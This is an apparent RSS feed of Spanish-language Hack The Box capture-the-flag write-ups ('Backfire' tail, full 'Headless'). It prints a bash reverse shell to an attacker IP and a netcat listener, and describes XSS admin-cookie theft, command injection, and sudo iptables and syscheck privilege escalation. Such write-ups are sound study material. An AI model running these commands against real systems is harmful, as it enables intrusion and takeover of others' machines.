<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756013282154/d2cace4f-ca8a-4cd7-910c-cd1d790d9ece.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756013294728/0ef533b9-0a4b-4ab0-9431-aa9ecbf304d3.png" alt="" style="display:block;margin:0 auto" />

<p>Accedemos al panel con: <code>sth_pentest:sth_pentest</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756013304703/7f3e4588-230f-4b73-a194-d57155395360.png" alt="" style="display:block;margin:0 auto" />

<p>Desde la consola <code>/ImplantInteract</code>, ejecutamos: <code>whoami</code></p>
<p>✔️ Somos el usuario <strong>sergej</strong>:</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756013314278/8ad20077-81e8-42ca-ba7f-50999912f2bf.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h3>🧪 <strong>Escalada de privilegios</strong></h3>
<p>Colocamos un nuevo listener en otro puerto: <code>nc -nvlp 5555</code></p>
<p>Ejecutamos el siguiente payload desde la consola interactiva: <code>bash -c 'bash -i &gt;&amp; /dev/tcp/10.10.14.67/5555 0&gt;&amp;1'</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756013322571/be412926-40b0-4193-8d0f-0d78083f7ce9.png" alt="" style="display:block;margin:0 auto" />

<p>✔️ Obtenemos shell como <code>sergej</code>:</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756013332084/2cd28675-7e19-46be-92d1-9674b9de4ac4.png" alt="" style="display:block;margin:0 auto" />

<p>Al verificar <code>sudo -l</code>, vemos que <code>sergej</code> puede ejecutar <code>/usr/sbin/iptables</code> como root.</p>
<p><code>sergej@backfire:~$ sudo -l</code> <code>Matching Defaults entries for sergej on backfire:</code> <code>env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty</code></p>
<p><code>User sergej may run the following commands on backfire:</code> <code>(root) NOPASSWD: /usr/sbin/iptables</code> <code>(root) NOPASSWD: /usr/sbin/iptables-save</code></p>
<p>Aprovechamos esto para escribir nuestra clave pública en <code>authorized_keys</code> como root:</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756013342214/5d830f46-7f8d-497d-95ff-3c1193c8934e.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756013351042/c7f403a2-1650-498c-9fe7-0fe4a3b20e83.png" alt="" style="display:block;margin:0 auto" />

<p>Nos conectamos vía SSH como <strong>root</strong>: <code>ssh -i ~/.ssh/myrootkey root@backfire.htb</code></p>
<p>📦 Leemos la flag:</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756013359724/1b463d12-f1a4-446e-a7a9-4f32202dfa20.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h2>✅ <strong>Resumen</strong></h2>
<ul>
<li><p><strong>Acceso inicial:</strong> Havoc C2 – credenciales filtradas + CVE-2024-41570 (SSRF → RCE)</p>
</li>
<li><p><strong>Persistencia:</strong> SSH key con usuario <code>ilya</code></p>
</li>
<li><p><strong>Descubrimiento lateral:</strong> HardHatC2 interno</p>
</li>
<li><p><strong>Explotación secundaria:</strong> Auth bypass + RCE</p>
</li>
<li><p><strong>Escalada de privilegios:</strong> Abuso de <code>iptables</code> con sudo + modificación de <code>authorized_keys</code></p>
</li>
<li><p><strong>Root access:</strong> vía SSH con clave insertada</p>
</li>
</ul>
<img src="https://www.hackthebox.eu/badge/image/54373" alt="Nano" />]]></content:encoded></item><item><title><![CDATA[Headless WriteUp]]></title><description><![CDATA[Primero hacemos un escaneo de puertos con nmap para ver que puertos estan abiertos, y que servicios estan corriendo en los mismos


Nos encontramos con que en el puerto 5000 hay una pagina web aparent]]></description><link>https://blog.0xnano.com/headless-writeup</link><guid isPermaLink="true">https://blog.0xnano.com/headless-writeup</guid><dc:creator><![CDATA[Nano]]></dc:creator><pubDate>Thu, 27 Jun 2024 15:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/73d4e685-465f-4d69-860a-669c49f86986.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Primero hacemos un escaneo de puertos con nmap para ver que puertos estan abiertos, y que servicios estan corriendo en los mismos</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756015214739/a200e695-8d38-4003-b035-b9369b841d81.png" alt="" />

<p>Nos encontramos con que en el puerto 5000 hay una pagina web aparentemente en construccion junto con un contador y un boton para enviar preguntas sobre el sitio</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756015231674/a46f98d2-1bc8-405d-ad9b-48d0a1fe4bf3.png" alt="" />

<p>Tras presionar el boton de preguntas, nos envia al directorio /support en el cual hay un formulario de contacto que pide diferentes datos de contacto</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756015241207/f037b560-e40c-4e05-9a40-846cd9196c3f.png" alt="" />

<p>Al interceptar la solicitud al servidor tras haber llenado el formulario con datos aleatorios, vemos que hay una cookie que verifica si quien esta enviando la solicitud es el administrador</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756015250558/66458f72-b58d-4737-a881-8d7697a37157.png" alt="" />

<p>Si intentamos realizar un ataque XSS introduciendo un payload en la solicitud, nos aparecera una alerta del firewall del sitio avisando que han bloqueado el intento de ataque</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756015259776/68cbe035-16be-4d83-a19c-5afe774f0ef5.png" alt="" />

<p>Realizamos una busqueda de posibles directorios adicionales con la herramienta dirbuster, y nos encontramos con que ademas de /support el sitio cuenta con otro directorio llamado /dashboard el cual arroja el codigo 500 ya que no estamos autorizados a acceder</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756015268274/28e3dd34-0fc8-4233-b52a-32160df35541.png" alt="" />

<p>El sitio no puede verificar que estemos autorizados a ver el sitio ya que no poseemos las credenciales adecuadas, en este caso las de administrador</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756015276506/9d207877-4a7e-4339-ab56-da4f559ce0d5.png" alt="" />

<p>Si revisamos la solicitud que se envia a /dashboard nos encontramos con que la cookie que verifica si somos administradores, tambien es enviada al sitio, por lo cual, esta es la unica forma de que el sitio verifique si somos los administradores o no</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756015286112/fef728a3-8cc3-4690-a767-cb30f0fce990.png" alt="" />

<p>Iniciamos un servidor http con Python en el puerto 9999</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756015293482/92dbd4f1-da2b-4221-8f85-c3a8237ded54.png" alt="" />

<p>Probamos realizar un ataque de XSS introduciendo el payload en los parametros de User-Agent y message, con el fin de recibir la cookie de administrador en nuestro servidor http</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756015309404/87cb0ad7-68f2-462f-952e-0bb1c30bd07a.png" alt="" />

<p>Recibimos una solicitud del servidor al servidor http de nuestra maquina local, y nos encontramos con que el ataque fue exitoso ya que logramos obtener la cookie de administrador</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756015317381/adcffce3-7b55-4388-b9d8-392c9873a997.png" alt="" />

<p>10.10.11.8 - - [27/Jun/2024 23:36:11] "GET /?cookie=aXNfYWRtaW49SW1Ga2JXbHVJZy5kbXpEa1pORW02Q0swb3lMMWZiTS1TblhwSDA= HTTP/1.1" 200 -</p>
<p>Al decodear la cookie, la cual estaba en base64, vemos que esta es diferente a la que ya teniamos</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756015326514/89215676-0dfb-4545-ac7b-54b8eb7a4e4d.png" alt="" />

<p>is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0</p>
<p>Realizamos una solicitud a /dashboard pero esta vez utilizando la cookie previamente obtenida y nos encontramos con que el servidor nos arroja el codigo 200, dejandonos acceder al sitio</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756015334085/fa1e6951-e361-4990-a028-5ad962754a7a.png" alt="" />

<p>Nos encontramos con el panel de administrador, el cual permite generar reportes del sitio con una fecha que le indiquemos</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756015344149/985da9b9-7db8-4fca-b965-fd7c0725bfea.png" alt="" />

<p>Al revisar la solicitud, nos encontramos con que hay un posible RCE (Remote Command Execution o Ejecucion Remota de Comandos) ya que al introducir el comando "whoami" debajo del mensaje que los sistemas estan encendidos y funcionando, nos sale "dvir" el cual podria ser el usuario del sistema</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756015353003/1d68acab-63b8-447c-bafb-0c7d99463257.png" alt="" />

<p>Intentamos nuevamente enviar un comando, pero esta vez para listar los archivos, y vemos que esta vez, el mensaje de respuesta del sitio es diferente, ya que logra listar con exito los archivos del directorio en el que esta corriendo el sitio, por lo tanto se confirma la vulnerabilidad tipo RCE</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756015361793/0cf721c5-2fae-4a6a-9f67-097f55f6322d.png" alt="" />

<p>Abrimos una sesion de netcat y la ponemos a la escucha en el puerto 4444</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756015370443/fd930e16-495c-4513-a7db-d4536447e9e8.png" alt="" />

<p>Enviamos un comando para obtener una reverse shell, de forma que el servidor se conecte a nuestra maquina para lograr interactuar con la terminal del servidor</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756015378541/4d5d4fce-819d-43aa-a229-283ad8736b24.png" alt="" />

<p>Recibimos la conexion del servidor</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756015386793/08ee7d3d-0dad-44f7-98bd-98b979690a35.png" alt="" />

<p>Buscamos la flag de usuario</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756015394576/58948594-b895-41ab-9744-2f7335e0b7d1.png" alt="" />

<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756015402110/4c5a8f39-99ac-44b6-8141-d17ffd8b2ea7.png" alt="" />

<p>Verificamos los permisos que tenemos para luego obtener la flag de root, y vemos que el unico directorio en el cual no se nos solicitara la contraseña es /usr/bin/syscheck</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756015412222/098849a2-c509-4fab-98da-9e224569ee86.png" alt="" />

<p>Revisamos el contenido de /usr/bin/syscheck</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756015420282/e9c4988f-016d-49b0-abb9-4a0f2a2ed47f.png" alt="" />

<p>Abrimos una sesion de netcat y la ponemos a la escucha en el puerto 8888</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756015428285/c10ab92e-3c75-485d-803b-509dd60c4c4e.png" alt="" />

<p>Ejecutamos un comando para obtener una reverse shell, de forma que el servidor se conecte a nuestra maquina para lograr interactuar con la terminal del servidor con permisos de root</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756015436881/2ab0812d-392e-47c8-9d1f-1ba5209606ae.png" alt="" />

<p>Recibimos la conexion del servidor y verificamos mediante el comando whoami que somos administradores del sistema</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756015444913/f01ffe46-3237-4396-b7df-180aa1fea55f.png" alt="" />

<p>Buscamos la flag de root</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756015452946/05b8baba-e8d3-4025-b664-5b138da916f4.png" alt="" />

<img src="https://www.hackthebox.eu/badge/image/54373" alt="Nano" />]]></content:encoded></item></channel></rss>